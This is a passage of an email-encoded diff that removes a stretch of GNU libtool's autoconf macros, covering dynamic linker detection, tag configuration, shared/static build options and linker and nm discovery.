$libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - hardcode_into_libs=3Dyes - if test "$with_gnu_ld" =3D yes; then - sys_lib_search_path_spec=3D'/usr/local/lib /usr/gnu/lib /usr/ccs/l= ib /usr/lib /lib' - shlibpath_overrides_runpath=3Dno - else - sys_lib_search_path_spec=3D'/usr/ccs/lib /usr/lib' - shlibpath_overrides_runpath=3Dyes - case $host_os in - sco3.2v5*) - sys_lib_search_path_spec=3D"$sys_lib_search_path_spec /lib" -=09;; - esac - fi - sys_lib_dlsearch_path_spec=3D'/usr/lib' - ;; - -uts4*) - version_type=3Dlinux - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - ;; - -*) - dynamic_linker=3Dno - ;; -esac -AC_MSG_RESULT([$dynamic_linker]) -test "$dynamic_linker" =3D no && can_build_shared=3Dno - -variables_saved_for_relink=3D"PATH $shlibpath_var $runpath_var" -if test "$GCC" =3D yes; then - variables_saved_for_relink=3D"$variables_saved_for_relink GCC_EXEC_P= REFIX COMPILER_PATH LIBRARY_PATH" -fi -])# AC_LIBTOOL_SYS_DYNAMIC_LINKER - - -# _LT_AC_TAGCONFIG -# ---------------- -AC_DEFUN([_LT_AC_TAGCONFIG], -[AC_ARG_WITH([tags], - [AC_HELP_STRING([--with-tags@<:@=3DTAGS@:>@], - [include additional configurations @<:@automatic@:>@])], - [tagnames=3D"$withval"]) - -if test -f "$ltmain" && test -n "$tagnames"; then - if test ! -f "${ofile}"; then - AC_MSG_WARN([output file `$ofile' does not exist]) - fi - - if test -z "$LTCC"; then - eval "`$SHELL ${ofile} --config | grep '^LTCC=3D'`" - if test -z "$LTCC"; then - AC_MSG_WARN([output file `$ofile' does not look like a libtool s= cript]) - else - AC_MSG_WARN([using `LTCC=3D$LTCC', extracted from `$ofile']) - fi - fi - if test -z "$LTCFLAGS"; then - eval "`$SHELL ${ofile} --config | grep '^LTCFLAGS=3D'`" - fi - - # Extract list of available tagged configurations in $ofile. - # Note that this assumes the entire list is on one line. - available_tags=3D`grep "^available_tags=3D" "${ofile}" | $SED -e 's/= available_tags=3D\(.*$\)/\1/' -e 's/\"//g'` - - lt_save_ifs=3D"$IFS"; IFS=3D"${IFS}$PATH_SEPARATOR," - for tagname in $tagnames; do - IFS=3D"$lt_save_ifs" - # Check whether tagname contains only valid characters - case `$echo "X$tagname" | $Xsed -e 's:[[-_ABCDEFGHIJKLMNOPQRSTUVWX= YZabcdefghijklmnopqrstuvwxyz1234567890,/]]::g'` in - "") ;; - *) AC_MSG_ERROR([invalid tag name: $tagname]) -=09;; - esac - - if grep "^# ### BEGIN LIBTOOL TAG CONFIG: $tagname$" < "${ofile}" = > /dev/null - then - AC_MSG_ERROR([tag name \"$tagname\" already exists]) - fi - - # Update the list of available tags. - if test -n "$tagname"; then - echo appending configuration tag \"$tagname\" to $ofile - - case $tagname in - CXX) -=09if test -n "$CXX" && ( test "X$CXX" !=3D "Xno" && -=09 ( (test "X$CXX" =3D "Xg++" && `g++ -v >/dev/null 2>&1` ) || -=09 (test "X$CXX" !=3D "Xg++"))) ; then -=09 AC_LIBTOOL_LANG_CXX_CONFIG -=09else -=09 tagname=3D"" -=09fi -=09;; - - F77) -=09if test -n "$F77" && test "X$F77" !=3D "Xno"; then -=09 AC_LIBTOOL_LANG_F77_CONFIG -=09else -=09 tagname=3D"" -=09fi -=09;; - - GCJ) -=09if test -n "$GCJ" && test "X$GCJ" !=3D "Xno"; then -=09 AC_LIBTOOL_LANG_GCJ_CONFIG -=09else -=09 tagname=3D"" -=09fi -=09;; - - RC) -=09AC_LIBTOOL_LANG_RC_CONFIG -=09;; - - *) -=09AC_MSG_ERROR([Unsupported tag name: $tagname]) -=09;; - esac - - # Append the new tag name to the list of available tags. - if test -n "$tagname" ; then - available_tags=3D"$available_tags $tagname" - fi - fi - done - IFS=3D"$lt_save_ifs" - - # Now substitute the updated list of available tags. - if eval "sed -e 's/^available_tags=3D.*\$/available_tags=3D\"$availa= ble_tags\"/' \"$ofile\" > \"${ofile}T\""; then - mv "${ofile}T" "$ofile" - chmod +x "$ofile" - else - rm -f "${ofile}T" - AC_MSG_ERROR([unable to update list of available tagged configurat= ions.]) - fi -fi -])# _LT_AC_TAGCONFIG - - -# AC_LIBTOOL_DLOPEN -# ----------------- -# enable checks for dlopen support -AC_DEFUN([AC_LIBTOOL_DLOPEN], - [AC_BEFORE([$0],[AC_LIBTOOL_SETUP]) -])# AC_LIBTOOL_DLOPEN - - -# AC_LIBTOOL_WIN32_DLL -# -------------------- -# declare package support for building win32 DLLs -AC_DEFUN([AC_LIBTOOL_WIN32_DLL], -[AC_BEFORE([$0], [AC_LIBTOOL_SETUP]) -])# AC_LIBTOOL_WIN32_DLL - - -# AC_ENABLE_SHARED([DEFAULT]) -# --------------------------- -# implement the --enable-shared flag -# DEFAULT is either `yes' or `no'. If omitted, it defaults to `yes'. -AC_DEFUN([AC_ENABLE_SHARED], -[define([AC_ENABLE_SHARED_DEFAULT], ifelse($1, no, no, yes))dnl -AC_ARG_ENABLE([shared], - [AC_HELP_STRING([--enable-shared@<:@=3DPKGS@:>@], -=09[build shared libraries @<:@default=3D]AC_ENABLE_SHARED_DEFAULT[@:>= @])], - [p=3D${PACKAGE-default} - case $enableval in - yes) enable_shared=3Dyes ;; - no) enable_shared=3Dno ;; - *) - enable_shared=3Dno - # Look at the argument we got. We use all the common list separ= ators. - lt_save_ifs=3D"$IFS"; IFS=3D"${IFS}$PATH_SEPARATOR," - for pkg in $enableval; do -=09IFS=3D"$lt_save_ifs" -=09if test "X$pkg" =3D "X$p"; then -=09 enable_shared=3Dyes -=09fi - done - IFS=3D"$lt_save_ifs" - ;; - esac], - [enable_shared=3D]AC_ENABLE_SHARED_DEFAULT) -])# AC_ENABLE_SHARED - - -# AC_DISABLE_SHARED -# ----------------- -# set the default shared flag to --disable-shared -AC_DEFUN([AC_DISABLE_SHARED], -[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl -AC_ENABLE_SHARED(no) -])# AC_DISABLE_SHARED - - -# AC_ENABLE_STATIC([DEFAULT]) -# --------------------------- -# implement the --enable-static flag -# DEFAULT is either `yes' or `no'. If omitted, it defaults to `yes'. -AC_DEFUN([AC_ENABLE_STATIC], -[define([AC_ENABLE_STATIC_DEFAULT], ifelse($1, no, no, yes))dnl -AC_ARG_ENABLE([static], - [AC_HELP_STRING([--enable-static@<:@=3DPKGS@:>@], -=09[build static libraries @<:@default=3D]AC_ENABLE_STATIC_DEFAULT[@:>= @])], - [p=3D${PACKAGE-default} - case $enableval in - yes) enable_static=3Dyes ;; - no) enable_static=3Dno ;; - *) - enable_static=3Dno - # Look at the argument we got. We use all the common list separ= ators. - lt_save_ifs=3D"$IFS"; IFS=3D"${IFS}$PATH_SEPARATOR," - for pkg in $enableval; do -=09IFS=3D"$lt_save_ifs" -=09if test "X$pkg" =3D "X$p"; then -=09 enable_static=3Dyes -=09fi - done - IFS=3D"$lt_save_ifs" - ;; - esac], - [enable_static=3D]AC_ENABLE_STATIC_DEFAULT) -])# AC_ENABLE_STATIC - - -# AC_DISABLE_STATIC -# ----------------- -# set the default static flag to --disable-static -AC_DEFUN([AC_DISABLE_STATIC], -[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl -AC_ENABLE_STATIC(no) -])# AC_DISABLE_STATIC - - -# AC_ENABLE_FAST_INSTALL([DEFAULT]) -# --------------------------------- -# implement the --enable-fast-install flag -# DEFAULT is either `yes' or `no'. If omitted, it defaults to `yes'. -AC_DEFUN([AC_ENABLE_FAST_INSTALL], -[define([AC_ENABLE_FAST_INSTALL_DEFAULT], ifelse($1, no, no, yes))dnl -AC_ARG_ENABLE([fast-install], - [AC_HELP_STRING([--enable-fast-install@<:@=3DPKGS@:>@], - [optimize for fast installation @<:@default=3D]AC_ENABLE_FAST_INST= ALL_DEFAULT[@:>@])], - [p=3D${PACKAGE-default} - case $enableval in - yes) enable_fast_install=3Dyes ;; - no) enable_fast_install=3Dno ;; - *) - enable_fast_install=3Dno - # Look at the argument we got. We use all the common list separ= ators. - lt_save_ifs=3D"$IFS"; IFS=3D"${IFS}$PATH_SEPARATOR," - for pkg in $enableval; do -=09IFS=3D"$lt_save_ifs" -=09if test "X$pkg" =3D "X$p"; then -=09 enable_fast_install=3Dyes -=09fi - done - IFS=3D"$lt_save_ifs" - ;; - esac], - [enable_fast_install=3D]AC_ENABLE_FAST_INSTALL_DEFAULT) -])# AC_ENABLE_FAST_INSTALL - - -# AC_DISABLE_FAST_INSTALL -# ----------------------- -# set the default to --disable-fast-install -AC_DEFUN([AC_DISABLE_FAST_INSTALL], -[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl -AC_ENABLE_FAST_INSTALL(no) -])# AC_DISABLE_FAST_INSTALL - - -# AC_LIBTOOL_PICMODE([MODE]) -# -------------------------- -# implement the --with-pic flag -# MODE is either `yes' or `no'. If omitted, it defaults to `both'. -AC_DEFUN([AC_LIBTOOL_PICMODE], -[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl -pic_mode=3Difelse($#,1,$1,default) -])# AC_LIBTOOL_PICMODE - - -# AC_PROG_EGREP -# ------------- -# This is predefined starting with Autoconf 2.54, so this conditional -# definition can be removed once we require Autoconf 2.54 or later. -m4_ifndef([AC_PROG_EGREP], [AC_DEFUN([AC_PROG_EGREP], -[AC_CACHE_CHECK([for egrep], [ac_cv_prog_egrep], - [if echo a | (grep -E '(a|b)') >/dev/null 2>&1 - then ac_cv_prog_egrep=3D'grep -E' - else ac_cv_prog_egrep=3D'egrep' - fi]) - EGREP=3D$ac_cv_prog_egrep - AC_SUBST([EGREP]) -])]) - - -# AC_PATH_TOOL_PREFIX -# ------------------- -# find a file program which can recognise shared library -AC_DEFUN([AC_PATH_TOOL_PREFIX], -[AC_REQUIRE([AC_PROG_EGREP])dnl -AC_MSG_CHECKING([for $1]) -AC_CACHE_VAL(lt_cv_path_MAGIC_CMD, -[case $MAGIC_CMD in -[[\\/*] | ?:[\\/]*]) - lt_cv_path_MAGIC_CMD=3D"$MAGIC_CMD" # Let the user override the test= with a path. - ;; -*) - lt_save_MAGIC_CMD=3D"$MAGIC_CMD" - lt_save_ifs=3D"$IFS"; IFS=3D$PATH_SEPARATOR -dnl $ac_dummy forces splitting on constant user-supplied paths. -dnl POSIX.2 word splitting is done only on the output of word expansio= ns, -dnl not every word. This closes a longstanding sh security hole. - ac_dummy=3D"ifelse([$2], , $PATH, [$2])" - for ac_dir in $ac_dummy; do - IFS=3D"$lt_save_ifs" - test -z "$ac_dir" && ac_dir=3D. - if test -f $ac_dir/$1; then - lt_cv_path_MAGIC_CMD=3D"$ac_dir/$1" - if test -n "$file_magic_test_file"; then -=09case $deplibs_check_method in -=09"file_magic "*) -=09 file_magic_regex=3D`expr "$deplibs_check_method" : "file_magic \(= .*\)"` -=09 MAGIC_CMD=3D"$lt_cv_path_MAGIC_CMD" -=09 if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null | -=09 $EGREP "$file_magic_regex" > /dev/null; then -=09 : -=09 else -=09 cat <&2 - -*** Warning: the command libtool uses to detect shared libraries, -*** $file_magic_cmd, produces output that libtool cannot recognize. -*** The result is that libtool may fail to recognize shared libraries -*** as such. This will affect the creation of libtool libraries that -*** depend on shared libraries, but programs linked with such libtool -*** libraries will work regardless of this problem. Nevertheless, you -*** may want to report the problem to your system manager and/or to -*** bug-libtool@gnu.org - -EOF -=09 fi ;; -=09esac - fi - break - fi - done - IFS=3D"$lt_save_ifs" - MAGIC_CMD=3D"$lt_save_MAGIC_CMD" - ;; -esac]) -MAGIC_CMD=3D"$lt_cv_path_MAGIC_CMD" -if test -n "$MAGIC_CMD"; then - AC_MSG_RESULT($MAGIC_CMD) -else - AC_MSG_RESULT(no) -fi -])# AC_PATH_TOOL_PREFIX - - -# AC_PATH_MAGIC -# ------------- -# find a file program which can recognise a shared library -AC_DEFUN([AC_PATH_MAGIC], -[AC_PATH_TOOL_PREFIX(${ac_tool_prefix}file, /usr/bin$PATH_SEPARATOR$PA= TH) -if test -z "$lt_cv_path_MAGIC_CMD"; then - if test -n "$ac_tool_prefix"; then - AC_PATH_TOOL_PREFIX(file, /usr/bin$PATH_SEPARATOR$PATH) - else - MAGIC_CMD=3D: - fi -fi -])# AC_PATH_MAGIC - - -# AC_PROG_LD -# ---------- -# find the pathname to the GNU or non-GNU linker -AC_DEFUN([AC_PROG_LD], -[AC_ARG_WITH([gnu-ld], - [AC_HELP_STRING([--with-gnu-ld], -=09[assume the C compiler uses GNU ld @<:@default=3Dno@:>@])], - [test "$withval" =3D no || with_gnu_ld=3Dyes], - [with_gnu_ld=3Dno]) -AC_REQUIRE([LT_AC_PROG_SED])dnl -AC_REQUIRE([AC_PROG_CC])dnl -AC_REQUIRE([AC_CANONICAL_HOST])dnl -AC_REQUIRE([AC_CANONICAL_BUILD])dnl -ac_prog=3Dld -if test "$GCC" =3D yes; then - # Check if gcc -print-prog-name=3Dld gives a path. - AC_MSG_CHECKING([for ld used by $CC]) - case $host in - *-*-mingw*) - # gcc leaves a trailing carriage return which upsets mingw - ac_prog=3D`($CC -print-prog-name=3Dld) 2>&5 | tr -d '\015'` ;; - *) - ac_prog=3D`($CC -print-prog-name=3Dld) 2>&5` ;; - esac - case $ac_prog in - # Accept absolute paths. - [[\\/]]* | ?:[[\\/]]*) - re_direlt=3D'/[[^/]][[^/]]*/\.\./' - # Canonicalize the pathname of ld - ac_prog=3D`echo $ac_prog| $SED 's%\\\\%/%g'` - while echo $ac_prog | grep "$re_direlt" > /dev/null 2>&1; do -=09ac_prog=3D`echo $ac_prog| $SED "s%$re_direlt%/%"` - done - test -z "$LD" && LD=3D"$ac_prog" - ;; - "") - # If it fails, then pretend we aren't using GCC. - ac_prog=3Dld - ;; - *) - # If it is relative, then search for the first ld in PATH. - with_gnu_ld=3Dunknown - ;; - esac -elif test "$with_gnu_ld" =3D yes; then - AC_MSG_CHECKING([for GNU ld]) -else - AC_MSG_CHECKING([for non-GNU ld]) -fi -AC_CACHE_VAL(lt_cv_path_LD, -[if test -z "$LD"; then - lt_save_ifs=3D"$IFS"; IFS=3D$PATH_SEPARATOR - for ac_dir in $PATH; do - IFS=3D"$lt_save_ifs" - test -z "$ac_dir" && ac_dir=3D. - if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exee= xt"; then - lt_cv_path_LD=3D"$ac_dir/$ac_prog" - # Check to see if the program is GNU ld. I'd rather use --versi= on, - # but apparently some variants of GNU ld only accept -v. - # Break only if it was the GNU/non-GNU ld that we prefer. - case `"$lt_cv_path_LD" -v 2>&1 &1 /dev/null; then - case $host_cpu in - i*86 ) - # Not sure whether the presence of OpenBSD here was a mistake. - # Let's accept both of them until this is cleared up. - lt_cv_deplibs_check_method=3D'file_magic (FreeBSD|OpenBSD|Dragon= Fly)/i[[3-9]]86 (compact )?demand paged shared library' - lt_cv_file_magic_cmd=3D/usr/bin/file - lt_cv_file_magic_test_file=3D`echo /usr/lib/libc.so.*` - ;; - esac - else - lt_cv_deplibs_check_method=3Dpass_all - fi - ;; - -gnu*) - lt_cv_deplibs_check_method=3Dpass_all - ;; - -hpux10.20* | hpux11*) - lt_cv_file_magic_cmd=3D/usr/bin/file - case $host_cpu in - ia64*) - lt_cv_deplibs_check_method=3D'file_magic (s[[0-9]][[0-9]][[0-9]]|E= LF-[[0-9]][[0-9]]) shared object file - IA64' - lt_cv_file_magic_test_file=3D/usr/lib/hpux32/libc.so - ;; - hppa*64*) - [lt_cv_deplibs_check_method=3D'file_magic (s[0-9][0-9][0-9]|ELF-[0= -9][0-9]) shared object file - PA-RISC [0-9].[0-9]'] - lt_cv_file_magic_test_file=3D/usr/lib/pa20_64/libc.sl - ;; - *) - lt_cv_deplibs_check_method=3D'file_magic (s[[0-9]][[0-9]][[0-9]]|P= A-RISC[[0-9]].[[0-9]]) shared library' - lt_cv_file_magic_test_file=3D/usr/lib/libc.sl - ;; - esac - ;; - -interix3*) - # PIC code is broken on Interix 3.x, that's why |\.a not |_pic\.a he= re - lt_cv_deplibs_check_method=3D'match_pattern /lib[[^/]]+(\.so|\.a)$' - ;; - -irix5* | irix6* | nonstopux*) - case $LD in - *-32|*"-32 ") libmagic=3D32-bit;; - *-n32|*"-n32 ") libmagic=3DN32;; - *-64|*"-64 ") libmagic=3D64-bit;; - *) libmagic=3Dnever-match;; - esac - lt_cv_deplibs_check_method=3Dpass_all - ;; - -# This must be Linux ELF. -linux*) - lt_cv_deplibs_check_method=3Dpass_all - ;; - -netbsd*) - if echo __ELF__ | $CC -E - | grep __ELF__ > /dev/null; then - lt_cv_deplibs_check_method=3D'match_pattern /lib[[^/]]+(\.so\.[[0-= 9]]+\.[[0-9]]+|_pic\.a)$' - else - lt_cv_deplibs_check_method=3D'match_pattern /lib[[^/]]+(\.so|_pic\= .a)$' - fi - ;; - -newos6*) - lt_cv_deplibs_check_method=3D'file_magic ELF [[0-9]][[0-9]]*-bit [[M= L]]SB (executable|dynamic lib)' - lt_cv_file_magic_cmd=3D/usr/bin/file - lt_cv_file_magic_test_file=3D/usr/lib/libnls.so - ;; - -nto-qnx*) - lt_cv_deplibs_check_method=3Dunknown - ;; - -openbsd*) - if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host= _os-$host_cpu" =3D "openbsd2.8-powerpc"; then - lt_cv_deplibs_check_method=3D'match_pattern /lib[[^/]]+(\.so\.[[0-= 9]]+\.[[0-9]]+|\.so|_pic\.a)$' - else - lt_cv_deplibs_check_method=3D'match_pattern /lib[[^/]]+(\.so\.[[0-= 9]]+\.[[0-9]]+|_pic\.a)$' - fi - ;; - -osf3* | osf4* | osf5*) - lt_cv_deplibs_check_method=3Dpass_all - ;; - -solaris*) - lt_cv_deplibs_check_method=3Dpass_all - ;; - -sysv4 | sysv4.3*) - case $host_vendor in - motorola) - lt_cv_deplibs_check_method=3D'file_magic ELF [[0-9]][[0-9]]*-bit [= [ML]]SB (shared object|dynamic lib) M[[0-9]][[0-9]]* Version [[0-9]]' - lt_cv_file_magic_test_file=3D`echo /usr/lib/libc.so*` - ;; - ncr) - lt_cv_deplibs_check_method=3Dpass_all - ;; - sequent) - lt_cv_file_magic_cmd=3D'/bin/file' - lt_cv_deplibs_check_method=3D'file_magic ELF [[0-9]][[0-9]]*-bit [= [LM]]SB (shared object|dynamic lib )' - ;; - sni) - lt_cv_file_magic_cmd=3D'/bin/file' - lt_cv_deplibs_check_method=3D"file_magic ELF [[0-9]][[0-9]]*-bit [= [LM]]SB dynamic lib" - lt_cv_file_magic_test_file=3D/lib/libc.so - ;; - siemens) - lt_cv_deplibs_check_method=3Dpass_all - ;; - pc) - lt_cv_deplibs_check_method=3Dpass_all - ;; - esac - ;; - -sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*) - lt_cv_deplibs_check_method=3Dpass_all - ;; -esac -]) -file_magic_cmd=3D$lt_cv_file_magic_cmd -deplibs_check_method=3D$lt_cv_deplibs_check_method -test -z "$deplibs_check_method" && deplibs_check_method=3Dunknown -])# AC_DEPLIBS_CHECK_METHOD - - -# AC_PROG_NM -# ---------- -# find the pathname to a BSD-compatible name lister -AC_DEFUN([AC_PROG_NM], -[AC_CACHE_CHECK([for BSD-compatible nm], lt_cv_path_NM, -[if test -n "$NM"; then - # Let the user override the test. - lt_cv_path_NM=3D"$NM" -else - lt_nm_to_check=3D"${ac_tool_prefix}nm" - if test -n "$ac_tool_prefix" && test "$build" =3D "$host"; then=20 - lt_nm_to_check=3D"$lt_nm_to_check nm" - fi - for lt_tmp_nm in $lt_nm_to_check; do - lt_save_ifs=3D"$IFS"; IFS=3D$PATH_SEPARATOR - for ac_dir in $PATH /usr/ccs/bin/elf /usr/ccs/bin /usr/ucb /bin; d= o - IFS=3D"$lt_save_ifs" - test -z "$ac_dir" && ac_dir=3D. - tmp_nm=3D"$ac_dir/$lt_tmp_nm" - if test -f "$tmp_nm" || test -f "$tmp_nm$ac_exeext" ; then -=09# Check to see if the nm accepts a BSD-compat flag. -=09# Adding the `sed 1q' prevents false positives on HP-UX, which says= : -=09# nm: unknown option "B" ignored -=09# Tru64's nm complains that /dev/null is an invalid object file -=09case `"$tmp_nm" -B /dev/null 2>&1 | sed '1q'` in -=09*/dev/null* | *'Invalid file or object type'*) -=09 lt_cv_path_NM=3D"$tmp_nm -B" -=09 break -=09 ;; -=09*) -=09 case `"$tmp_nm" -p /dev/null 2>&1 | sed '1q'` in -=09 */dev/null*) -=09 lt_cv_path_NM=3D"$tmp_nm -p" -=09 break -=09 ;; -=09 *) -=09 lt_cv_path_NM=3D${lt_cv_path_NM=3D"$tmp_nm"} # keep the first m= atch, but -=09 continue # so that we can try to find one that supports BSD fla= gs -=09 ;; -=09 esac -=09 ;; -=09esac - fi - done - IFS=3D"$lt_save_ifs" - done - test -z "$lt_cv_path_NM" && lt_cv_path_NM=3Dnm -fi]) -NM=3D"$lt_cv_path_NM" -])# AC_PROG_NM - - -# AC_CHECK_LIBM -# ------------- -# check for math library -AC_DEFUN([AC_CHECK_LIBM], -[AC_REQUIRE([AC_CANONICAL_HOST])dnl -LIBM=3D -case $host in -*-*-beos* | *-*-cygwin* | *-*-pw32* | *-*-darwin*) - # These system don't have libm, or don't need it - ;; -*-ncr-sysv4.3*) - AC_CHECK_LIB(mw, _mwvalidcheckl, LIBM=3D"-lmw") - AC_CHECK_LIB(m, cos, LIBM=3D"$LIBM -lm") - ;; -*) - AC_CHECK_LIB(m, cos, LIBM=3D"-lm") - ;; -esac -])# AC_CHECK_LIBM - - -# AC_LIBLTDL_CONVENIENCE([DIRECTORY]) -# ----------------------------------- -# sets LIBLTDL to the link flags for the libltdl convenience library a= nd -# LTDLINCL to the include flags for the libltdl header and adds -# --enable-ltdl-convenience to the configure arguments. Note that -# AC_CONFIG_SUBDIRS is not called here. If DIRECTORY is not provided, -# it is assumed to be `libltdl'. LIBLTDL will be prefixed with -# '${top_builddir}/' and LTDLINCL will be prefixed with '${top_srcdir}= /' -# (note the single quotes!). If your package is not flat and you're n= ot -# using automake, define top_builddir and top_srcdir appropriately in -# the Makefiles. -AC_DEFUN([AC_LIBLTDL_CONVENIENCE], -[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl - case $enable_ltdl_convenience in - no) AC_MSG_ERROR([this package needs a convenience libltdl]) ;; - "") enable_ltdl_convenience=3Dyes - ac_configure_args=3D"$ac_configure_args --enable-ltdl-convenienc= e" ;; - esac - LIBLTDL=3D'${top_builddir}/'ifelse($#,1,[$1],['libltdl'])/libltdlc.l= a - LTDLINCL=3D'-I${top_srcdir}/'ifelse($#,1,[$1],['libltdl']) - # For backwards non-gettext consistent compatibility... - INCLTDL=3D"$LTDLINCL" -])# AC_LIBLTDL_CONVENIENCE - - -# AC_LIBLTDL_INSTALLABLE([DIRECTORY]) -# ----------------------------------- -# sets LIBLTDL to the link flags for the libltdl installable library a= nd -# LTDLINCL to the include flags for the libltdl header and adds -# --enable-ltdl-install to the configure arguments. Note that -# AC_CONFIG_SUBDIRS is not called here. If DIRECTORY is not provided, -# and an installed libltdl is not found, it is assumed to be `libltdl'= . -# LIBLTDL will be prefixed with '${top_builddir}/'# and LTDLINCL with -# '${top_srcdir}/' (note the single quotes!). If your package is not -# flat and you're not using automake, define top_builddir and top_srcd= ir -# appropriately in the Makefiles. -# In the future, this macro may have to be called after AC_PROG_LIBTOO= L. -AC_DEFUN([AC_LIBLTDL_INSTALLABLE], -[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl - AC_CHECK_LIB(ltdl, lt_dlinit, - [test x"$enable_ltdl_install" !=3D xyes && enable_ltdl_install=3Dno]= , - [if test x"$enable_ltdl_install" =3D xno; then - AC_MSG_WARN([libltdl not installed, but installation disabled]) - else - enable_ltdl_install=3Dyes - fi - ]) - if test x"$enable_ltdl_install" =3D x"yes"; then - ac_configure_args=3D"$ac_configure_args --enable-ltdl-install" - LIBLTDL=3D'${top_builddir}/'ifelse($#,1,[$1],['libltdl'])/libltdl.= la - LTDLINCL=3D'-I${top_srcdir}/'ifelse($#,1,[$1],['libltdl']) - else - ac_configure_args=3D"$ac_configure_args --enable-ltdl-install=3Dno= " - LIBLTDL=3D"-lltdl" - LTDLINCL=3D - fi - # For backwards non-gettext consistent compatibility... - INCLTDL=3D"$LTDLINCL" -])# AC_LIBLTDL_INSTALLABLE - - -# AC_LIBTOOL_CXX -# -------------- -# enable support for C++ libraries -AC_DEFUN([AC_LIBTOOL_CXX], -[AC_REQUIRE([_LT_AC_LANG_CXX]) -])# AC_LIBTOOL_CXX - - -# _LT_AC_LANG_CXX -# --------------- -AC_DEFUN([_LT_AC_LANG_CXX], -[AC_REQUIRE([AC_PROG_CXX]) -AC_REQUIRE([_LT_AC_PROG_CXXCPP]) -_LT_AC_SHELL_INIT([tagnames=3D${tagnames+${tagnames},}CXX]) -])# _LT_AC_LANG_CXX - -# _LT_AC_PROG_CXXCPP -# ------------------ -AC_DEFUN([_LT_AC_PROG_CXXCPP], -[ -AC_REQUIRE([AC_PROG_CXX]) -if test -n "$CXX" && ( test "X$CXX" !=3D "Xno" && - ( (test "X$CXX" =3D "Xg++" && `g++ -v >/dev/null 2>&1` ) || - (test "X$CXX" !=3D "Xg++"))) ; then - AC_PROG_CXXCPP -fi -])# _LT_AC_PROG_CXXCPP - -# AC_LIBTOOL_F77 -# -------------- -# enable support for Fortran 77 libraries -AC_DEFUN([AC_LIBTOOL_F77], -[AC_REQUIRE([_LT_AC_LANG_F77]) -])# AC_LIBTOOL_F77 - - -# _LT_AC_LANG_F77 -# --------------- -AC_DEFUN([_LT_AC_LANG_F77], -[AC_REQUIRE([AC_PROG_F77]) -_LT_AC_SHELL_INIT([tagnames=3D${tagnames+${tagnames},}F77]) -])# _LT_AC_LANG_F77 - - -# AC_LIBTOOL_GCJ -# -------------- -# enable support for GCJ libraries -AC_DEFUN([AC_LIBTOOL_GCJ], -[AC_REQUIRE([_LT_AC_LANG_GCJ]) -])# AC_LIBTOOL_GCJ - - -# _LT_AC_LANG_GCJ -# --------------- -AC_DEFUN([_LT_AC_LANG_GCJ], -[AC_PROVIDE_IFELSE([AC_PROG_GCJ],[], - [AC_PROVIDE_IFELSE([A][M_PROG_GCJ],[], - [AC_PROVIDE_IFELSE([LT_AC_PROG_GCJ],[], - [ifdef([AC_PROG_GCJ],[AC_REQUIRE([AC_PROG_GCJ])], -=09 [ifdef([A][M_PROG_GCJ],[AC_REQUIRE([A][M_PROG_GCJ])], -=09 [AC_REQUIRE([A][C_PROG_GCJ_OR_A][M_PROG_GCJ])])])])])]) -_LT_AC_SHELL_INIT([tagnames=3D${tagnames+${tagnames},}GCJ]) -])# _LT_AC_LANG_GCJ - - -# AC_LIBTOOL_RC -# ------------- -# enable support for Windows resource files -AC_DEFUN([AC_LIBTOOL_RC], -[AC_REQUIRE([LT_AC_PROG_RC]) -_LT_AC_SHELL_INIT([tagnames=3D${tagnames+${tagnames},}RC]) -])# AC_LIBTOOL_RC - - -# AC_LIBTOOL_LANG_C_CONFIG -# ------------------------ -# Ensure that the configuration vars for the C compiler are -# suitably defined. Those variables are subsequently used by -# AC_LIBTOOL_CONFIG to write the compiler configuration to `libtool'. -AC_DEFUN([AC_LIBTOOL_LANG_C_CONFIG], [_LT_AC_LANG_C_CONFIG]) -AC_DEFUN([_LT_AC_LANG_C_CONFIG], -[lt_save_CC=3D"$CC" -AC_LANG_PUSH(C) - -# Source file extension for C test sources. -ac_ext=3Dc - -# Object file extension for compiled C test sources. -objext=3Do -_LT_AC_TAGVAR(objext, $1)=3D$objext - -# Code to be used in simple compile tests -lt_simple_compile_test_code=3D"int some_variable =3D 0;\n" - -# Code to be used in simple link tests -lt_simple_link_test_code=3D'int main(){return(0);}\n' - -_LT_AC_SYS_COMPILER - -# save warnings/boilerplate of simple test code -_LT_COMPILER_BOILERPLATE -_LT_LINKER_BOILERPLATE - -AC_LIBTOOL_PROG_COMPILER_NO_RTTI($1) -AC_LIBTOOL_PROG_COMPILER_PIC($1) -AC_LIBTOOL_PROG_CC_C_O($1) -AC_LIBTOOL_SYS_HARD_LINK_LOCKS($1) -AC_LIBTOOL_PROG_LD_SHLIBS($1) -AC_LIBTOOL_SYS_DYNAMIC_LINKER($1) -AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH($1) -AC_LIBTOOL_SYS_LIB_STRIP -AC_LIBTOOL_DLOPEN_SELF - -# Report which library types will actually be built -AC_MSG_CHECKING([if libtool supports shared libraries]) -AC_MSG_RESULT([$can_build_shared]) - -AC_MSG_CHECKING([whether to build shared libraries]) -test "$can_build_shared" =3D "no" && enable_shared=3Dno - -# On AIX, shared libraries and static libraries use the same namespace= , and -# are all built from PIC. -case $host_os in -aix3*) - test "$enable_shared" =3D yes && enable_static=3Dno - if test -n "$RANLIB"; then - archive_cmds=3D"$archive_cmds~\$RANLIB \$lib" - postinstall_cmds=3D'$RANLIB $lib' - fi - ;; - -aix4* | aix5*) - if test "$host_cpu" !=3D ia64 && test "$aix_use_runtimelinking" =3D = no ; then - test "$enable_shared" =3D yes && enable_static=3Dno - fi - ;; -esac -AC_MSG_RESULT([$enable_shared]) - -AC_MSG_CHECKING([whether to build static libraries]) -# Make sure either enable_shared or enable_static is yes. -test "$enable_shared" =3D yes || enable_static=3Dyes -AC_MSG_RESULT([$enable_static]) - -AC_LIBTOOL_CONFIG($1) - -AC_LANG_POP 